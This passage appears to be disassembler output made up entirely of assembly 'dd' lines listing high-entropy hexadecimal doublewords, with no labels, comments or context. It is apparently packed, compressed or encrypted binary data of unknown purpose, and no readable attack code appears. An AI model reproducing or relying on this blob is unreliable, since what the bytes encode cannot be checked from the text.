0B5295B5Bh, 4FD9882Fh, 0B6EFD12Ch, 29173710h, 0C5CAE2C5h dd 0F4B825C9h, 0E4196596h, 2FD53797h, 95C1F46Bh, 62241477h dd 8C714A29h, 1E741F4h, 0FEE0E280h, 0CC798C2h, 4D3F689Ah dd 0AF67298Bh, 0C30458BAh, 66EFEAC1h, 0FEF141DEh, 0D504982Dh dd 82359A09h, 604A10D5h, 125931AAh, 9322F87Eh, 69931DECh dd 0E986FD2h, 4EAFEF0Fh, 0DC53A409h, 0D6AE32AFh, 1B544BE9h dd 68E1616Eh, 0ED63460Ah, 5A09E65Ah, 0AEC19AD8h, 0E94DC4F4h dd 2012F13Ch, 269E11AAh, 0C6294F3Bh, 0ECD34963h, 0C6E9A094h dd 23A48245h, 6702C797h, 0FDF5D2F9h, 0FB759877h, 1AE983EEh dd 0B28D24A0h, 0F2250598h, 10E3F056h, 9C2308Eh, 0D9EFB551h dd 81590045h, 91EA5CC5h, 0E67548h, 33995876h, 97A5F3E9h dd 563CDC46h, 0A305B768h, 0F7052574h, 5614BFD3h, 9CA05C8h dd 1ABEC23h, 6D6B0520h, 0F9E9C8F2h, 0DF2E0EBCh, 0A4CF472Dh dd 881C6442h, 625686Ch, 0A2401202h, 0B0E5E73h, 5F41EC76h dd 376FF821h, 0B92EE576h, 0A9BCD291h, 0B03E9C2h, 0EE80B151h dd 0D9550DE7h, 99109731h, 0C1802810h, 0C8F4EDE8h, 0B6C99891h dd 5AEE6A74h, 2A65186Eh, 0C4455A0Bh, 0D508D6B1h, 123517A6h dd 3BEDA4B9h, 79377062h, 88700B43h, 9B09507Eh, 239C36Fh dd 5E0C09B4h, 0C908D05Ch, 55E18A9Eh, 0CE2B02BDh, 3C6E65A8h dd 0AC8448F2h, 3473FB0Fh, 3EB8E159h, 5250312Bh, 5A1F9754h dd 0B0DA72C5h, 0C8B95103h, 0E990BA7Bh, 379A1D95h, 8001ED39h dd 0EF882EC5h, 7CFE2059h, 2CF62E5Bh, 0CF051C02h, 973D02E6h dd 0E43607D0h, 0BF70B9E9h, 5BE319BDh, 9F9E91F0h, 86057F20h dd 4DB1D906h, 0AFBBC72Dh, 120268C9h, 2577F22Dh, 73717DE9h dd 35C06882h, 0EF6D605Dh, 5C028BC6h, 0F2456ABBh, 1D5540Fh dd 17B654F3h, 2EA879E3h, 5815A0Bh, 48D50679h, 223A6E31h dd 18486436h, 662C2904h, 3510F752h, 48C9BA02h, 654011F3h dd 0F53F10C6h, 580B0154h, 0C2314506h, 16012DD4h, 0B81AC516h dd 0C3407005h, 59C90781h dd 6F0E4C44h, 0CECF5D81h, 0D260D49Eh, 0DEEA61ABh, 0C131FF48h dd 9D942FFEh, 0CB94B914h, 34FA60CBh, 1F7307Fh, 0B37C2B0Ch dd 0B1E95D13h, 8108D3A1h, 4F4D16DFh, 8477121Eh, 131BE06h dd 976A5EE0h, 0BCA2252Fh, 0F5B08308h, 6AC412F6h, 0C001B41Ah dd 5E349606h, 0E686CE31h, 8A451411h, 0F2058B20h, 905A193Bh dd 73916EFh, 0D400200h, 25542384h, 4AF10005h, 4D2D13A3h dd 0CF5C1504h, 0BDAD20CDh, 0A5CA3F4Bh, 584D9150h, 0C51E522Ch dd 8E423C68h, 44935E9h, 0E15C25Ah, 3CFC5005h, 1D680DD8h dd 6F352F62h, 0A78CDBE3h, 0B34227E6h, 2A9D2A1Ah, 0AA17450h dd 6F022B3Fh, 0DF1C4709h, 9D13C2B0h, 588214B1h, 0FD739F68h dd 0CEC3591Ah, 0FC2FC775h, 0EB87259Ch, 13F6A1F0h, 0E8E5C0D5h dd 88A207A2h, 9EEE59ECh, 90E070A7h, 51464D42h, 0D675A35Bh dd 44BAE124h, 90FD931h, 0F1AF7831h, 8A4F6F38h, 33AE109Eh dd 0F644BB27h, 86C0F35Ah, 7853E681h, 0C110253Ah, 18390E87h dd 0E5DE9C20h, 59D99098h, 68D81329h, 255B3FAh, 5C1685BAh dd 28815D17h, 33785D68h, 0BB530103h, 31CE2F83h, 0DA837265h dd 1BF473BAh, 0C6838B09h, 0D2C94101h, 7A79BFAFh, 1B0303CEh dd 0E3E7E054h, 7F5C3335h, 6C81E10Ch, 7822A6Fh, 0DFE241F7h dd 0D0E6E242h, 9BC0B732h, 0C8B3EC41h, 9D0E6625h, 0E797E8C6h dd 15F131Ah, 0D65E3F31h, 0C7992064h, 674A501Dh, 8460F689h dd 0FC851BADh, 97C230F4h, 0C0A7F4Bh, 0CCC677A8h, 9A62D616h dd 0FDC14201h, 0C6C9EA1Bh, 0C99E2C58h, 88EFD6D2h, 5F28DFC0h dd 8380E7FCh, 0CB024EC3h, 0C22D4CCDh, 0CD374168h, 0C9FC2476h dd 0BCDE928Bh, 0F90F5E62h, 0E934B565h, 0C121C4B6h, 83B4ECECh dd 9B91027Dh, 3CE779DAh, 44DC964Dh, 0CB1DF82Dh, 4C7812AFh dd 8BD530B5h, 0CE45970Ch, 7CC5AB4Fh, 0F7E9C177h, 8C282F5Fh dd 0A39B531Fh, 7EBDE34Fh, 19C45F24h, 47A925CFh, 938237BAh dd 0DD01E5AAh, 462F74EDh, 197C295Bh, 0BF8B0840h, 4FE9CA90h dd 2C75059Dh, 0F612D384h, 50F10A0Bh, 72E915C6h, 89835439h dd 0C92F8BEAh, 2EFEEE2Dh, 0EBF01F46h, 6EE9AD30h, 18204841h dd 0B2114FB9h, 0AB169FCBh, 0CA3F96F1h, 0C6E98249h, 0FA1694C2h dd 0C8BA5BCFh, 0F14BF632h, 0E7679FF5h, 2BCAA625h, 1985B7BAh dd 2F2DA864h, 0BFAFD133h, 4684E44Ch, 58991E9Ah, 0CEE8C05Ch dd 81E895A6h, 66B5ED29h, 0FEED8C08h, 3235B9E7h, 0F4E15758h dd 0A11568E6h, 0F405C78Ch, 100CF500h, 0C6E956Bh, 689413E5h dd 4FE5B893h, 634C65B3h, 53A1D730h, 0DDE0DBB3h, 429776F6h dd 0B510724Dh, 1B610B9Ah, 3D7C2C52h, 49275F5Dh, 58C2B2CFh dd 0CAF461B1h, 0B6D8DCE4h, 218540D0h, 5A4C0F08h, 29074050h dd 0D35EF227h, 0F0C20186h, 203E52D4h, 0EEE4D545h, 0AC40F2B8h dd 9BF0B7B9h, 6B499F4Ch, 0CBDAAE90h, 0E1DAE005h, 986F1D7Eh dd 1AF18D6Ch, 2C61250Dh, 0C26AE191h, 0C221B74Dh, 31273B28h dd 393DA860h, 38525E80h, 0ED3ADDBAh, 0C1F28181h, 9D10E379h dd 0E82180Ch, 77D60142h, 510FF4A0h, 455B703Fh, 0E806CDB0h dd 81C55AE9h, 0DCD4F657h, 0C9B4DC30h, 5BAA6870h, 940353Dh dd 47505D55h, 4098EDA0h, 0FF69C1ECh, 94A20103h, 75715074h dd 0F776DFF5h, 6D09C425h, 0D8C998D9h, 0BD0A4971h, 0AE30CE45h dd 4DEEBD34h, 6861E7BCh, 8A7B5111h, 0E22A7C94h, 0B0D25E5Eh dd 0CD810040h, 4C3D2876h, 9637487Eh, 0DD0C2C32h, 4BDB4A1Fh dd 483EA1Dh, 0B40111A8h, 8020C84h, 645B37E9h, 0AA9C2EFDh dd 0CF8181DEh, 2B1E08A3h, 0D7DCD900h, 322166B6h, 45525FFAh dd 0E6636A61h, 0FB1CB5C0h, 78EB8080h, 0E1854E4Ah, 20623AB5h dd 0A9C1E2DAh, 261F9CB3h, 4FF5056h, 825E7CB5h, 1F543227h dd 81609626h, 250E5BC7h, 0C15A703Eh, 16DF0882h, 6E3C4132h dd 0B5FA5398h, 7B164A09h, 4F6B3690h, 3126C013h, 0E52DC101h dd 20796602h, 0FE3FED57h, 90503003h, 100A3E3Fh, 40EF016Eh dd 9526E908h, 1C4A020Fh, 64B7297h, 0D574701h, 31210519h dd 0B88CCE0Eh, 0CE994D48h, 0D8F45C47h, 0FBB546FCh, 0E8D3B75Ch dd 0DE38C992h, 0B592F66h, 0ADC55649h, 0FE386140h, 8BA1702h dd 61F4BBEAh, 3BAC258Ch, 603B37DCh, 46165EE6h, 1877B5Ch dd 36C5B5FEh, 9CAD0E9h, 400202Fh, 21CA4AC4h, 0E1C8CE64h dd 5F023ED0h, 281A6F91h, 1DF41D8Bh, 9F66662Fh, 46207164h dd 305C2C97h, 0B472420Ah, 8020165Dh, 9740A6F0h, 5872ED4Ch dd 1E1E1150h, 925951CCh, 0A398BFE7h, 98BD52CAh, 0B43E36A2h dd 25B8C83Eh, 0E5C97BD9h, 315C0578h, 0A08994C3h, 0AF9E717Dh dd 47CDE9C1h, 61C28000h, 9192B7F0h, 25FC3517h, 4FB336A0h dd 324D419Bh, 7E1C925Bh, 809ECD4h, 43A4DC5Eh, 35C32773h dd 3988EBB0h, 0EA4F2025h, 0DB080A80h, 4A04B010h, 0FA08E2C1h dd 807F2B40h, 97210B7Ch, 42B7F46Ch, 96AB2C1Eh, 0C0ABD2EDh dd 5F97CB59h, 4B328212h, 5CE9FE80h, 0C58DA845h, 482604F9h dd 0AC6C01D0h, 8EE909EBh, 4FA754B5h, 0D012D904h, 0D475F9D7h dd 11C27B48h, 0B35E063Dh, 0C427933Dh, 78F8F0A5h, 68AA80D3h dd 84824CEFh, 0E8124D0Dh, 2BD840EBh, 70AA722Ch, 0D25B98BAh dd 0B1CF58DAh, 1368A424h, 53F7609Fh, 4265A168h, 7A934E57h dd 64C71828h, 0EB8810B1h, 0D8D3F63Ch, 687444C5h, 1531E42Ch dd 0F5BB5360h, 727A006Dh, 1607E381h, 0F3EC36A0h, 67271B0Ah dd 0BE02DD74h, 761E9112h, 25822C26h, 8B92580h, 494B0168h dd 0B3449097h, 0A51B31BFh, 86213D95h, 622AE883h, 0DA309BBAh dd 0D32663F6h, 5426D709h, 2EA7C264h, 80BBB101h, 0C1CCA0E1h dd 9D5BFAEDh, 0FA7C0B09h, 720B8BCFh, 0F53723Dh, 0CB8835B1h dd 71ABE289h, 790E99Eh, 5BF58497h, 0EE2D34FFh, 93A5B634h dd 0DA3B22DAh, 5CD16802h, 5051CEBDh, 1195507Fh, 9F35583Eh dd 0E943ECC3h, 465EF7A2h, 218A2480h, 860B5827h, 612FA604h dd 0D718C67Ah, 1D8F665Ch, 8C6448A4h, 6666041Eh, 9D2AA0BAh dd 44887B49h, 4A53ACC8h, 7485A235h, 0B923902h, 2A864256h dd 0B302A5D2h, 405E0C4Ah, 58C56EE0h, 0B7129EFAh, 0EF6CE456h dd 3EDFFB3Eh, 0E421137Dh, 0CA1146D2h, 2E9655C5h, 1784E49Dh dd 61361968h, 23F6A829h, 89592F9Eh, 2C5FF38Eh, 311502CBh dd 714859E9h, 76EEC601h, 49F3385Bh, 5F236813h, 40C892E8h dd 3297BD93h, 649E1D92h, 0CEE28100h, 3935F036h, 364BF1E9h dd 2DE742BCh, 0E2189471h, 0EF2002EEh, 7B5B5402h, 0B0291ABh dd 0E6C403E9h, 5A162F04h, 107392A7h, 0F2217A19h, 595AEAFAh dd 0A62373F4h, 2C536093h, 5C271E84h, 0D0097CB0h, 0E20BF143h dd 0BA8B60A9h, 85F4582Ch, 75A4DA10h, 0AC593F6h, 0BBE92D5Ah dd 45E8765h, 10AA3EDAh, 6EA34ED9h, 28342F7Dh, 2DC1C293h dd 0E7DB8148h, 39FE53BFh, 0EC8C0620h, 0E4195ADAh, 8494F6DDh dd 84D83109h, 271DF267h, 5B4D7C59h, 68E15E40h, 316A4A28h dd 6AEA6D61h, 685D1230h, 0EF99B580h, 9B5751B9h, 0AAEC0532h dd 0C0CED139h, 0BBA43A34h, 5AD73112h, 0F14E94A8h, 844F7D07h dd 931FBCC8h, 0A18901D5h, 0BF3D4805h, 0FBC6B52Ch, 170D2BBEh dd 75D954E7h, 772B443Bh, 15E9615Ah, 4041092Eh, 0BF07E145h dd 0C6529068h, 82ABF705h, 0BBC73D04h, 58AE9832h, 0C1645AA8h dd 92EFBAh, 95059968h, 0EBA82B65h, 0B422CA12h, 54955840h dd 9F012B1Bh, 32085A88h dd 0AE0F53F6h, 4E1FE4C2h, 157A28BFh, 4A60EFAAh, 60A47E41h dd 5A462D03h, 2829BB38h, 13C0310Bh, 0BCF79DE9h, 98FCD2E9h dd 0D16B4A7Ch, 0D6AF371h, 5A8B043Ch, 0E301345Ah, 0E9493865h dd 0F22AD819h, 71AC2703h, 5854805Ah, 758B6857h, 5F713702h dd 8102EFC1h, 4DDD5EDDh, 0F9F86670h, 0CED8046Bh, 86BF00D2h dd 0B0117840h, 5FE4A8A9h, 0F7FA1A87h, 0A0D708D7h, 163C2F6h dd 0E9F80B44h, 0FC4935Fh, 0E04CAAF0h, 1AE940Eh, 466208B8h dd 0D5FDDFF7h, 0F882176Bh, 37064B46h, 0C43FF031h, 13B1238Eh dd 99116C31h, 5323327Ah, 494AC163h, 0E8F55DB9h, 0E6B9C480h dd 0A7FFA457h, 0E84939F6h, 204E161Fh, 704AE09Ah, 3ABD551Dh dd 6F8E0B1Fh, 448FF501h, 0C987982h, 0E95EC6A7h, 0BB148C25h dd 6A49DA7Dh, 4A0082D7h, 3467572Dh, 0A3AF842Dh, 3C917B21h dd 8AA993FDh, 8BB0F85h, 58806714h, 41982540h, 0FB127C5Ch dd 0A1B39B74h, 0F8E54E92h, 4057406Ah, 9E28CB6h, 4858C32Eh dd 4A97C42Fh, 0EDC5B1B4h, 4C272C30h, 31FE390Dh, 42D5E4F5h dd 0A44F6B79h, 979E5496h, 201CB800h, 48C14E0Ah, 0D7342E6h dd 63C01779h, 0EEE22012h, 495FC0Fh, 5FEAE920h, 3D58CBACh dd 0BFC33180h, 0B54E8F14h, 8002D880h, 205425F5h, 8D9BEA9h dd 0A365509Fh, 4F279435h, 0E00A8543h, 0FF65BA70h, 0C6C32903h dd 9AC28D43h, 0D79677F0h, 0CE70C29Ch, 40BA9550h, 0A3F8EBC0h dd 89FF46D1h, 59ED1851h, 58CB5201h, 92A2444Fh, 5D8D139Ch dd 0C2A69645h, 0E5F2A55Fh, 0E2420247h, 80B87498h, 4A506DC5h dd 949F5F34h, 481DA4EEh, 4B851C21h, 8762BE90h, 56C5D54h dd 0BB1269B3h, 28F26831h, 9D963E08h, 5EF70105h, 9840178Bh dd 12944D4Bh, 0D9683376h, 0D4EAEA31h, 0E99E2D0h, 0C50346C0h dd 0F7A99A6Ah, 0B0B0817Bh, 0B75300DBh, 8FC1B594h, 87922AA0h dd 24E6FABEh, 5CE5FFDh, 80829211h, 5386EB3Fh, 4A5B8527h dd 5D0804F7h, 12D1C8BAh, 0CA2B5081h, 0D22E5CD2h, 81F68194h dd 1B1AD02Fh, 95C7EE10h, 1C987782h, 0FAFBEF29h, 0C7809EA9h dd 7A321ACAh, 0ADF3873Eh, 59B98154h, 82E3DBF6h, 839756F7h dd 43186D3Bh, 6E2AF1B0h, 4C603Eh, 668575E9h, 4BCB29F6h dd 0D50F8259h, 30DE7C0Fh, 108F520Dh, 0BD5AF3D8h, 0C380CFC0h dd 0E328B203h, 5BC53DE9h, 2AAF320h, 0CC68F9F7h, 62C7744Ah dd 0A36BA19Ch, 4A06F1ECh, 50012513h, 40D4B02Dh, 60B78996h dd 1484552h, 0AC25732Fh, 60385C51h, 5B9592B2h, 5029190Ch dd 0E4BC305Bh, 4D2F7716h, 992502CBh, 0C527255Ah, 68BCB002h dd 0CEC9B7CDh, 882997F9h, 0F8289305h, 0C330A680h, 4B87B50h dd 0E922616Ah, 0CDA888C9h, 0C020B502h, 40D5F769h, 3262B326h dd 0ACD489C2h, 0D7625B07h, 6F3275CFh, 7BB3BD41h, 3296C91h dd 12A3BF00h, 16B1509h, 4B2CD9FDh, 0D1178BFEh, 0A808D1C7h dd 2D00EF99h, 36261E58h, 3317017Ch, 267A29A6h, 976CA9FCh dd 343413D5h, 68DA44E9h, 7BB800F4h, 2506E407h, 8A2C289h dd 18F56A6Bh, 0BFCE1A7Bh, 0EA4FA466h, 5825CDB7h, 0AD5CF6E2h dd 2CFDF153h, 802EE32Eh, 0AD208EB9h, 0C0095E5Eh, 433CC2D2h dd 6055CE2Fh, 2C8BC0D8h, 82C952D5h, 6CAD0CB2h, 0E2D5116h dd 47C38E93h, 831EBFE1h, 7CD11C39h, 17627D91h, 0EE2C16C0h dd 9313527Ah, 9651B249h, 0BA107B2Dh, 0EBAF408Dh, 47F8C24Ah dd 0A42614B2h, 1451972Dh, 0FB8D94E2h, 0DA68848Ah, 0E4D0E872h dd 0D9B8C440h, 4C583A5Eh, 0AE011348h, 2917812Ch, 62CC2FD8h dd 0AD3730E9h, 1A09C161h, 0C1D0530h, 16176985h, 4047E949h dd 61762D32h, 46D42907h, 0E9084036h, 36131D4Fh, 2D0E39F8h dd 0BB60735Bh, 0D28CA4D5h, 2E0070B4h, 0FB016743h, 0B594F4E9h dd 0C75E012Bh, 28936805h, 0E44EC3A2h, 99D55F2h, 0A0E3E67Eh dd 1C0A62EFh, 7F4D0FDBh, 0F5A4C502h, 0EA85F024h, 4C0BA3C2h dd 2AD09C80h, 4ED680Ah, 88EEA335h, 0E02D1427h, 974ADE81h dd 57D41212h, 829E7A27h, 0D8282EAh, 2A51196Bh, 663F71A2h dd 0EF23F294h, 341FB9C3h, 4E5E2DE0h, 0F6A129F8h, 590F9805h dd 0FA7D0B0Ch, 2740B801h, 0B3914Bh, 7FD685D1h, 61FF9D74h dd 224F50B2h, 403CC45Bh, 4AE6BB00h, 0D13E39A3h, 425D25EBh dd 0D8C46B6Dh, 241DAF01h, 811E7C1h, 0BE01F892h, 13DF27C8h dd 1DEECF70h, 0BA6D3111h, 0E299D182h, 405751FDh, 0E204F01h dd 6FC15E59h, 0A3E902A2h, 112FF50h, 0DE1258C2h, 0E868BA20h dd 0A512B178h, 5A1369F3h, 0FA3F0F9h, 0FC75925Ah, 0D84EBA09h dd 5A285CC3h, 98BF184h, 2486745Ah, 0B0DF524Ch, 9BD1F173h dd 2C70B62h, 2F7F3A9Ah, 668B6929h, 84336FD5h, 0E7A2818Bh dd 7C40F329h, 0D725181Bh, 2CA6E509h, 2612103Ch, 8737BF5Eh dd 54C9F3B2h, 448E626Ah, 69253779h, 0A79D455Fh, 0CFDCE5C1h dd 2A4A9403h, 85EDB062h, 54FB2FE0h, 9BC9E1E2h, 3AD46565h dd 232B486h, 5AF25C8Ch, 0BD58FD87h, 63E7AB6Bh, 0B752F03Ah dd 5AF17D9Ch, 134D1296h, 0B5BFF820h, 49E9EA87h, 0E2CAD6FCh dd 77B241EDh, 0C33F8F3Dh, 69E2398Fh, 0F3C99764h, 0F05F2562h dd 2D30E890h, 80FA4A67h, 5144EA04h, 1C801B96h, 4C7E6DC8h dd 0D24AD4Fh, 685761E2h, 5E2ED0DFh, 0E7D15F16h, 187642ACh dd 0C308B23h, 1804A2E2h, 26ADE913h, 3C88E2B6h, 0C2A68E1h dd 1312CB6Bh, 35BDF701h, 0BB247E8Bh, 5E84BE5Ah, 0B0C100B8h dd 7FAAE9BEh, 0DD58850Ah, 8A49051Eh, 85A3F630h, 0C7835EF5h dd 2748C24Ah, 7832CD4h, 0D918945Ch, 373A494Fh, 0F1EAE289h dd 5869B45Ch, 0B5507C1Ch, 6CA17EE6h, 0D2342DE1h, 7B15A500h dd 0B84D5003h, 0F40CA023h, 84F262Bh, 6B5D05F3h, 90B7C1A2h dd 5A6600D8h, 4CD72D68h, 0E4305598h, 81091FD2h, 0E1EF702Fh dd 0B42DC930h, 0D83101D8h, 4D7C9668h, 0D075FCA7h, 6B88FCBEh dd 0B912CB8h, 0D35C0178h, 3057F0C9h, 5FD2D1A0h, 331DAC2Dh dd 0E1407C27h, 1794508h, 70551F8h, 12017F31h, 0FCEE0CE9h dd 47FC83B4h, 0E40153EAh, 7EA405E0h, 69F4E181h, 0C246F23h dd 76836822h, 50D6500h, 3FE91328h, 59C020A7h, 9902278Ch dd 3231B850h, 0EBDD8272h, 95F22713h, 0FE0BAF20h, 619E4AEDh dd 0BB00F66Bh, 4FE2F47h, 6A30A09Fh, 2474D92Eh, 180EBC1h dd 3525A8E3h, 28C8FF64h, 0E812AA8Ah, 2684B6E9h, 4B5E8AAAh dd 842AE58Dh, 0AB8BBA73h, 82E3AC4Ah, 7D129CE9h, 6B570E1Ah dd 21C6ECFCh, 129890Ah, 3A8FD307h, 6ABF1004h, 0D080540Fh dd 305CFACFh, 770C14BCh, 0C2E0757h, 94A0F4D1h, 9F78501h dd 0A788E9FAh, 0BD26B372h, 6855829Ah, 0F5542897h, 773BC862h dd 68A6B94h, 0F5163140h, 9906C8BDh, 0DE41C543h, 7329F85Bh dd 2C62F5F9h, 20814517h, 2AD617B4h, 626050DDh, 0B71B185Ch dd 6E79B823h, 56193907h, 0FAF0EFBEh, 12F70965h, 0C8F403E9h dd 0B6125C7Dh, 6FA83080h, 83E744B7h, 0BCA52C86h, 4152A2B7h dd 368449Ah, 0D4BBE8A4h, 97B820E1h, 3566BD00h, 24C041FCh dd 5DD229AAh, 0B9CB4B68h, 62FA810Eh, 1073B20h, 2027691Dh dd 112ED94Ch, 980928F4h, 0E440932Dh, 0F4EB9C0h, 323A7ED9h dd 5D72A8D3h, 866F7CD6h, 0B19D29Ah, 205F8959h, 0B757E0C8h dd 224BC6A4h, 0EA2724BDh, 0B44DBCC4h, 12553B81h, 92E31F69h dd 3C56FD04h, 1647AC30h, 9C2D5D0Ch, 0DE7A7D22h, 4D47C324h dd 72240DEDh, 98BABD19h dd 0E37D87F7h, 2D1A126Ch, 5CA10E3Ah, 11808C2h, 8B871041h dd 0C517E6B7h, 1A7BA764h, 0CE6AB302h, 3E33E14Ah, 0FABE7834h dd 0CC111636h, 89790931h, 0E984D365h, 0D8AF0921h, 124AABA2h dd 6196A8E9h, 2C35E967h, 0B592D4Eh, 0F2037695h, 6CCDF87Ah dd 2D7AFD79h, 7BA72BF9h, 0ABC9D935h, 63847C35h, 0BE00B0ACh dd 40092011h, 0FF8F301h, 28249DB2h, 291759C5h, 832263F3h dd 0EC20FA90h, 0A7BA0132h, 295A2634h, 9729BFD3h, 4652DEEDh dd 4903D701h, 522E2C5Dh, 0C82EAEE7h, 6A751811h, 0DE03DB54h dd 0B42B623Bh, 8A7801ABh, 54074C63h, 6707189Eh, 2B5B52E9h dd 5A2676E3h, 4AFEA104h, 277824Dh, 58C247ABh, 0ED80F35Eh dd 921539F9h, 0C0E84A01h, 3DCC688Bh, 6549369Eh, 0DF0E0B73h dd 0EA83665Eh, 2859D50Ah, 0B06E64Ch, 636A1DEEh, 41B25A02h dd 5066810Fh, 0A62E6D68h, 0AE10147Bh, 286C0427h, 0C10140B9h dd 802DB062h, 6358880Ch, 0E131E97Bh, 8336D87Fh, 1402C027h dd 10199922h, 68668158h, 7CD21DD8h, 0C1764F97h, 3FCA3190h dd 0D2C0F182h, 0C1CD05CEh, 0C00AA46Ah, 7B652A2Ah, 0A80C3D67h dd 316064F0h, 895D12E8h, 27C1B6C3h, 88D71C2h, 8004D866h dd 44AB4FEDh, 133EF343h, 29441DCDh, 5136ED17h, 6988B407h dd 0A341177h, 0BB81157Ah, 0F7704592h, 4B28E8D7h, 86D162A9h dd 4B4F048h, 123BADCDh, 294308h, 0F643B753h, 0EF0780DFh dd 5BFD282Eh, 7E59EB02h, 65AA2099h, 0BEFAE8B8h, 67222341h dd 1EE90BD2h, 0F04BE068h, 0F04A0139h, 59873732h, 432BA488h dd 87277C8Ah, 55B202CEh, 92995E54h, 5F29E833h, 5C3AD1CCh dd 8C808B23h, 29DE75F7h, 0C32DD67Dh, 0CB06D12Bh, 4925D344h dd 16A2E4F9h, 1447EABEh, 0B55B3CC2h, 870C807Fh, 29418446h dd 51B8F5h, 72C97CCBh, 5B7F9225h, 2CA5950h, 4F224858h dd 3AA91F85h, 13C74C8Ah, 550E9259h, 97CE75Dh, 5A5ABBE9h dd 5159CF0Bh, 0BA730457h, 58A59CAFh, 8E5B42B0h, 5FF73FC2h dd 3C2212E9h, 0CF680B21h, 201C660Bh, 0AC09F635h, 574CB151h dd 3B1B1222h, 86891A6Ch, 2DABF079h, 0E905E897h, 85EE96B7h dd 815355E2h, 59B2B25h, 42F47C16h, 37C4B55Bh, 0CFB04C30h dd 0BB53F0h, 6CB87C3Eh, 576F492Dh, 0D8291105h, 0AFB002E9h dd 0BFF07288h, 8B5BE5E0h, 806B0189h, 0C9451113h, 4E32267Eh dd 66EE79C1h, 0C0DCF64Fh, 685AD56Fh, 28BB41A4h, 832AD20Eh dd 0D48FE927h, 821624FBh, 0B9720910h, 0EF843827h, 836809C4h dd 0C72FEDDEh, 565F097Ch, 0D63CB1DDh, 0BFC7E430h, 700129C9h dd 29B7CAC2h, 8FF540Eh, 0D92F83FBh, 0E2954AB0h, 0A1704BE9h dd 35D4E1EAh, 0F8A38F20h, 0B702EC11h, 558EC3AEh, 456CBDCFh dd 5DFAE814h, 0F62B70FFh, 29375B7Eh, 0A03810C3h, 0ABFB2035h dd 45FD8713h, 0DF298101h, 457A8CC2h, 0ACA8541Fh, 45A090B6h dd 572C808Eh, 1284940h, 5277FAEBh, 0E55ADB90h, 0D743F608h dd 0AD29E0FDh, 0F69C4DECh, 1E746800h, 0C5E2893h, 0EE83DEF7h dd 0D0ABF3F2h, 0A8BADAD3h, 7F5CE249h, 0DA033DD3h, 2DD4DEBCh dd 2472C44h, 1002E25Bh, 0C000FB44h, 0D0F602E0h, 10BB353h dd 865BD828h, 0ED639549h, 0CADE8C1h, 3F061A69h, 6A06512h dd 156500DAh, 85EA8128h, 5009385Eh, 71E614E9h, 0C00C0865h dd 807AD01Fh, 0C9FE02E1h, 0EF86D9F6h, 1F3D5290h, 9E79CE80h dd 0B6D601C6h, 8F5F6583h, 5EA95872h, 86406218h, 5BDF3101h dd 0D186032Eh, 0EC6F7E7h, 481063Dh, 0A1E59EC4h, 0D19E1CABh dd 17004CD0h, 0B12C754Fh, 0F66BF58h, 8D55B790h, 20AB35F5h dd 89BD187Bh, 89EC51B1h, 0F77C62E9h, 805A3726h, 4805840Bh dd 0BD89777h, 3FF9CCDh, 7BE30C80h, 0F9E9FC6Ah, 581AA39Ch dd 0EC9840EBh, 2ED53E7Ah, 2029F5A6h, 0EB8BBD08h, 989DB994h dd 0B7E1F6E8h, 15DF26A9h, 102C109Ah, 803B8BC2h, 0CB286407h dd 8AEB6259h, 0AE8D0249h, 10C95434h, 0AADEE90Bh, 4DB480F7h dd 9D420A18h, 770B64D3h, 0FD5D9A3Fh, 9C7037A2h, 8840B500h dd 0EB3AA3E8h, 0CCBACCD5h, 0F4400725h, 20579201h, 954CEAD1h dd 9B4827CFh, 85C4FC43h, 70F91F22h, 0DBC7B797h, 0DB016BA8h dd 0E91E3F25h, 6C7C0C41h, 573630C1h, 0E31B3070h, 331A097Ch dd 0AEECB01h, 0D5105E08h, 62D52D26h, 1CD72F16h, 0F9C5B78Fh dd 813471A7h, 3251C2Dh, 5F29477h, 508B4A07h, 5923359h dd 123B68B8h, 0C124BB61h, 0A258D731h, 3F01396Bh, 26900089h dd 0C98100EFh, 7305033Eh, 90D171F7h, 9780B0E0h, 0C057EF1Ah dd 97378530h, 4921C3A2h, 0F0E5165Fh, 500394DAh, 0F1966851h dd 2D63CA4Dh, 0F0E2E985h, 0CF6BFEF7h, 0DBDB0004h, 0EC5BFC28h dd 0A09C4EF4h, 0E9185AACh, 0C2C38456h, 5E17122Fh, 0A95CAE5Bh dd 48F577C1h, 0E10529D2h, 92D92071h, 0BBB53B39h, 0F6E90931h dd 70DC5424h, 72499068h, 109CCB84h, 17FCC30Ah, 0BCF7C9B0h dd 0DD88346Ah, 3B7904BBh, 856794B6h, 182CFA52h, 0C8B70B0Fh dd 607B6E68h, 3A805D0Dh, 0B7589573h, 74366882h, 57136C5Bh dd 41452EABh, 6FD95DC5h, 73689BCDh, 7822BE00h, 0EEC16EA3h dd 814E0300h, 0D46F02F6h, 0D68BB70Dh, 0CAF88850h, 735A2B1Fh dd 24BCDE30h, 7B29E84Dh, 402D04D0h, 0BC552106h, 0A2D1B30Fh dd 1E10DEF8h, 0FF60B17h, 465ADABAh, 66D5DBA0h, 70745327h dd 0BFE29F32h, 0E9020A0Fh, 74F89Dh, 8C3299BBh, 0A72E5D0Eh dd 0B7494FAEh, 0BD11D1B8h, 2B191287h, 0E086901h, 9F932808h dd 0FE623553h, 6647755Fh, 0F197B2AAh, 50316A5Fh, 0C35A85E9h dd 4F687F88h, 239E45FAh, 6F3FA415h, 0E09F9DE2h, 4E49181Ah dd 6186BCBBh, 98D4E904h, 1F6E44AFh, 3E555833h, 7FDBB85Ch dd 9F3ABE89h, 3AA20B4Ch, 0F1C87FC2h, 0AF5E2A02h, 522946D2h dd 46F324BFh, 355EC250h, 9FF51CD5h, 0B525756Ch, 9C928Eh dd 91ECA0AEh, 0A2D09576h, 77D70506h, 1A425DFh, 6717FF8h dd 3559C829h, 0E90A0189h, 9A0E7A12h, 0ED003242h, 0E5C2140Ch dd 7FD34189h, 7807A740h, 5BE92931h, 5847B38Ah, 19CA17EFh dd 0DED3E1C8h, 3EA6C906h, 0CAD89B7Dh, 96D958A5h, 0B1E29CAh dd 0B283C884h, 0D74F7E8Eh, 0CB8A7C12h, 4EE8AC4Ah, 9392ADC0h dd 0EAD373F7h, 59522551h, 81057346h, 0C5EB41F1h, 4601D6E8h dd 29235A4Dh, 16D5FBCFh, 0C33E2C08h, 8B49E935h, 0F9F962FBh dd 0D811C104h, 0EA85F013h, 0DAB9EE70h, 88C2839h, 61E64BD4h dd 123CD321h, 0FB778717h, 30A12274h, 0BF3D376Bh, 0B6A7C2D2h dd 0AD91615Dh, 5BB7F23Eh, 20D305F2h, 6EE95745h, 2A289BBEh dd 761A391Dh, 1D6A0D47h, 7A2D2080h, 0A3AFB81Fh, 5967E07Ch dd 476A9D56h, 88770809h, 142581C8h, 